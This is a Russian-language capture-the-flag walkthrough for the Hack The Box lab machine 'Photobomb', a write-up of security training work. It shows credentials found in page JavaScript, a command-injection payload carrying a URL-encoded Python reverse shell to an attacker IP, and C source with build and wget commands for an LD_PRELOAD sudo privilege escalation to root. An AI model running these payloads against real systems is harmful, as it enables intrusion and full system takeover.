# Photobomb | HTB Easy

## Начинаем

Обнаруживаем сервисы:

```apache
> nmap --min-rate 1000 -v -sC -sV -T5 photobomb.htb

PORT     STATE   SERVICE   VERSION
22/tcp   open    ssh       OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|  3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|  256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp   open    http      nginx 1.18.0 (Ubuntu)
|_http-title: Photobomb
|_http-favicon: Unknown favicon MD5: 622B9ED3F0195B2D1811DF6F278518C2
| http-methods: 
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
2041/tcp filtered interbase
2042/tcp filtered isis
5678/tcp filtered rrac
8088/tcp filtered radan-http
19101/tcp filtered unknown
49156/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Веб-сервер на 80-ом порту с http basic аутентификацией по ссылке:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675427820754/b39631dd-74cd-4e95-8d96-e7edcb4dbba9.png align="center")

Изучая код страницы, находим скрипт photobomb.js:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675427839299/839b599c-741d-4653-810d-3f09da8308b3.png align="center")

В нем находим данные для аутентификации:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675427881181/133fad03-68e1-4bf8-a462-9a9bd57e612b.png align="center")

```bash
login : pH0t0
pass  : b0Mb!
```

Использовав их, проваливаемся в сервис:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675427893679/3c6f8eeb-5547-4229-8003-025f72405b89.png align="center")

Поиск каталогов ничего не дал, поэтому попробуем перехватить запрос через BurpSuite:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675427905430/51d57a4c-3d45-4947-935a-0979089eac32.png align="center")

Закидываем перехваченный пакет в Repeater и начинаем тестировать параметры photo, filetype и dimensions на возможное исполнение кода конвертером изображений.

## Reverse shell

Получаем реверс шелл модификацией параметра filetype, для этого добавляем ";" после значения параметра filetype + наш шелл.

(Взять его можно [отсюда](https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/#python) , также нужно закодить его в URLEncode).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675427914431/93401b4e-8a4c-4ae4-8c0a-339fc9bbe965.png align="center")

В конечном итоге, измененная часть пакета выглядит так:

```bash
&filetype=jpg; python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.16.46%22%2C4343%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fsh%22%29%27&dimensions=3000x2000
```

Отравляем измененный пакет, запускаем слушатель на нашей машине и получаем юзера.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675427925040/bd7e8f8e-5bb9-4b21-8969-f1c31c1b4bdd.png align="center")

```bash
# reverse shell

$ whoami
whoami
wizard
$ ls
ls photobomb user.txt
```

## Повышение привилегий

Посмотрим вывод команды sudo -l:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675427938334/deaee562-b0f1-4917-a696-51a61658f142.png align="center")

Видим, что мы можем манипулировать системными переменными при использовании `/opt/cleanup.sh`. А это значит, что мы можем повысить привилегии, используя способ через [LD\_PRELOAD](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path).

Для этого берем эсксплойт по ссылке выше:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
   unsetenv("LD_PRELOAD");
   setgid(0);
   setuid(0);
   system("/bin/bash");
}
```

Компилируем на нашей машине, используя следующую команду:

```bash
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```

И перекидываем на атакуемую машину, через файловый сервер (например python3 -m http.server). После меняем переменную LD\_PRELOAD и получаем рута.

## Rooted!

```bash
$ wget 10.10.16.46:8000/pe.so
wget 10.10.16.46:8000/pe.so
--2022-10-30 19:16:18-- http://10.10.16.46:8000/pe.so
Connecting to 10.10.16.46:8000... connected.
HTTP request sent, awaiting response... l200 OK
Length: 14224 (14K) [application/octet-stream]
Saving to: ‘pe.so’

2022-10-30 19:16:19 (34.1 KB/s) - ‘pe.so’ saved [14224/14224]

bash
$ ls
ls
log
pe.so
photobomb.sh
pshell
public
resized_images
server.rb
source_images
$ mv pe.so /tmp
mv pe.so /tmp
$ sudo LD_PRELOAD=/tmp/pe.so /opt/cleanup.sh
sudo LD_PRELOAD=/tmp/pe.so /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id   
id
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb#
```
